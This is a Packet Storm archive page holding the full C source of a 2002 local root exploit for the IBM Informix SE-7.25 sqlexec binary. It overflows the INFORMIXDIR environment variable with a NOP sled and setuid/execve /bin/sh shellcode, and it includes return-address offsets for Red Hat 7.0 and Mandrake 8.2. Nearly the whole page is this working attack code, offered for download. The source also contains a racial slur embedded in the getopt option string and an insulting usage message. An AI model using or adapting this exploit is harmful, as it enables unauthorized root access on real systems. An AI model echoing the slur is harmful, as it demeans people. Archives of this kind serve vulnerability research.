exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

d7-ibm-x.c

d7-ibm-x.c
Posted Jun 3, 2002
Authored by Smurfy

IBM x86 Informix SE-7.25 sqlexec local root exploit. Overflows the INFORMIXDIR environment variable passed to the sqlexec binary. Offsets for Redhat 7.0 and Mandrake 8.2 included.

tags | exploit, overflow, x86, local, root
systems | linux, redhat, mandrake
SHA-256 | 51fb5d073c8119f0f6b35e7780a8c034299174f9e239cfe43b734a26ce42b317

d7-ibm-x.c

Change Mirror Download
/* 
########################################################################################
# IBM x86 IBM INFORMIX SE-7.25 sqlexec local root exploit #
# by smurf, division7 security systems #
# #
# A buffer overflow exists in the "INFORMIXDIR" environment value passed to the #
# sqlexec binary. #
# #
# The following POC exploit code can successfully obtain root if a user has executable#
# permissions over the /lib/sqlexec binary. #
# #
# Offsets for redhat 7.0 and mandrake 8.2 provided #
# #
# Usage: #
# ./ibm-x -t <target> -r [return address] -o [offset] #
########################################################################################



*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

#define BUFFERSIZE 2032

/* linux x86 shellcode */
char lunixshell[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

struct target
{
char *os_name;
u_long retadd;
u_long offset;
};

struct target targets[] =
{
{ "RedHat 7.0 - Guinness ", 0xbfffee04, 895, },
{ "Mandrake 8.2 - Bluebird", 0xbfffee30, -1999, },
{
NULL, 0L, 0L
}
};

int type=-1;

void usage(char *cmd)
{
int i=0;

printf("[<>] - IBM x86 IBM INFORMIX SE-7.25 sqlexec local root exploit\n");
printf("[<>] - by smurf, division7 security systems\n");
printf("[<>] - usage: %s -t target -r [return address] -o [offset]\n", cmd);
printf("[<>] - Targets:\n\n");

while( targets[i].os_name != NULL)
printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name);
}

int main(int argc, char *argv[])
{
int i, c, os;
long *addr_ptr;
char *buffer, *ptr, *osptr;


/* offset = atoi(argv[1]); */
/* esp = retadd; */
/* ret = esp-offset; */


if(argc < 3)
{
usage(argv[0]);
return 1;
}

while(( c = getopt (argc, argv, "t:r:o:nigger"))!= EOF){

switch (c)
{

case 't':
type = atoi(optarg);
break;

case 'r':
targets[type].retadd = strtoul(optarg, NULL, 16);
break;

case 'o':
targets[type].offset = atoi(optarg);
break;

default:
usage(argv[0]);
return 1;
}
}

if(type < 1)
{
printf("Choose type 0 or 1 DUMB FUCK\n");
return -1;
}

printf("[<>] - Stack pointer: 0x%x\n", targets[type].retadd);
printf("[<>] - Offset: 0x%x\n", targets[type].offset);
printf("[<>] - Return addr: 0x%x\n", targets[type].retadd - targets[type].offset);


/* allocate memory for our buffer */
if(!(buffer = malloc(BUFFERSIZE))) {
printf("Couldn't allocate memory.\n");
exit(-1);
}

/* fill buffer with ret addr's */
ptr = buffer;
addr_ptr = (long *)ptr;
for(i=0; i<BUFFERSIZE; i+=4)
*(addr_ptr++) = targets[type].retadd - targets[type].offset;

/* fill first half of buffer with NOPs */
for(i=0; i<BUFFERSIZE/2; i++)
buffer[i] = '\x90';

/* insert shellcode in the middle */
ptr = buffer + ((BUFFERSIZE/2) - (strlen(lunixshell)/2));
for(i=0; i<strlen(lunixshell); i++)
*(ptr++) = lunixshell[i];


/* call the vulnerable program passing our exploit buffer as the argument */

buffer[BUFFERSIZE-1] = 0;
setenv("INFORMIXDIR", buffer, 1);
execl("./sqlexec", "sqlexec", NULL);
return 0;
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close